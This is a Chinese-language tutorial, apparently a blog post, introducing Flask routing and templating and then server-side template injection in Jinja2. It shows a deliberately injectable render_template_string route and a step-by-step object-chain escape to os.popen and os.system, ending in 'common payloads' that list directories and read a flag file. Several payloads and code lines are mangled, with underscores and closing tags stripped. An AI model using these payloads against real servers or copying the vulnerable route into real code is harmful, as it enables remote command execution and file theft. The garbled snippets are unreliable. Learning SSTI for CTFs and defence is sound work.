ssti:SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念,通过与服务端模板的 输入输出 交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的
因为flask使用Jinja2渲染引擎,可以在前端通过{{}}的形式使用变量或者{% %}执行python语句,存在注入的可能(不懂的话先去看flask!)
因为flask是用的python语言,所以python中的一些内置函数可以在flask中被使用,我们可以借此来越层读写文件,执行命令等。
在学习SSTI之前,先把flask的运作流程搞明白。这样有利用更快速的理解原理。
搭建flask我选择了 pycharm,学生的话可以免费下载专业版。下载安装这一步我就不说了。
环境:python 3.6+
基础:0-
简单测试
pycharm安装flask会自动导入了flask所需的模块,所以我们只需要命令安装所需要的包就可以了,建议用python3.6学习而不是2.X,毕竟django的都快要不支持2.X了,早换早超生。自动导入的也是python 3.6。
运行这边会出小错,因为此时我们还没有安装flask模块,
路由
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
return "hello world"
if __name__ == '__main__':
app.run()
@app.route(’/’)
使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如
@app.route('/')
def test()"
return 123
访问127.0.0.1:5000/则会输出123,我们修改一下规则
@app.route('/test')
def test()"
return 123
这个时候访问127.0.0.1:5000/test会输出123.
此外还可以设置动态网址,
@app.route("/hello/" )
def hello_user(username):
return "user:%s"%username
当.py文件被直接运行时,if name == ‘main‘之下的代码块将被运行;当.py文件以模块形式被导入时,if name == ‘main‘之下的代码块不被运行。如果你经常以cmd方式运行自己写的python小脚本,那么不需要这个东西,但是如果需要做一个稍微大一点的python开发,写 if name ==’main__’ 是一个良好的习惯,大一点的python脚本要分开几个文件来写,一个文件要使用另一个文件,也就是模块,此时这个if就会起到作用不会运行而是类似于文件包含来使用。
if __name__ == '__main__':
app.debug = True
app.run()
测试的时候,我们可以使用debug,方便调试,增加一句
app.debug = True
或者(效果是一样的)
app.run(debug=True)
这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。
app.run(host=‘0.0.0.0’)
这会让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web。
render_template 用来渲染一个指定的文件的
render_template_string 用来渲染一个字符串
render_template
你可以使用 render_template() 方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。这里有一个展示如何渲染模板的简例:
简单的模版渲染示例
from flask import render_template
@app.route('/hello/')
@app.route('/hello/' )
def hello(name=None):
return render_template('hello.html', name=name)//我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看
我们从模板渲染开始实例,因为我们毕竟不是做开发的,flask以模板注入闻名- -!,所以我们先从flask模版渲染入手深入剖析。
首先要搞清楚,模板渲染体系,render_template函数渲染的是templates中的模板,所谓模板是我们自己写的html,里面的参数需要我们根据每个用户需求传入动态变量。
├── app.py
└── templates
└── index.html
我们写一个index.html文件写templates文件夹中。
<html>
<head>
<title>{{title}} - 小猪佩奇title>
head>
<body>
<h1>Hello, {{user}}h1>
body>
html>
里面有两个参数需要我们渲染,user.name,以及title
我们在app.py文件里进行渲染。
from flask import render_template
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
user = {'name': '小猪佩奇'}#传入一个字典数组
return render_template("index.html",title='Home',user=request.args.get("key"))
# request.args.get:用get获取一个参数
# render_template:渲染一个html的文件
if __name__ == '__main__':
app.run()
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('{{ code }}
',code=code
通过Python对象的继承,用魔术方法一步步找到可利用的方法去执行。即找到父类
os.system 退出状态码
os.popen 以file形式返回输出内容
对象的魔术方法:
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
步骤
#测试是否存在模板注入
{{1+1}}
[构造简单的payload,看服务器是否有回显]
#获取’'字符串的所属对象
‘’.class
#获取str类的父类
‘’.class.mro
(, )
#获取object类的所有子类
‘’.class.mro[1].subclasses()
[, , , , , , , , , , , …
#找到所需的类在列表第几位(从第0位开始)
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘命令行语句’).read()
[ popen(‘ls’).read(),意思是得到ls的结果并读取给变量,因此它会把当前目录所有文件都打印在我们的网页上]
#读取文件内容
‘’.class.mro[1].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()
常用payload:
‘’.class.mro[2].subclasses()40.read()
‘’.class.mro[2].subclasses()[71].init.globals[‘os’].system(‘ls’)
‘’.class.mro[1].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()
参考:
理解@app.route(
装饰器
SSTI(模板注入)基础总结
python沙箱逃逸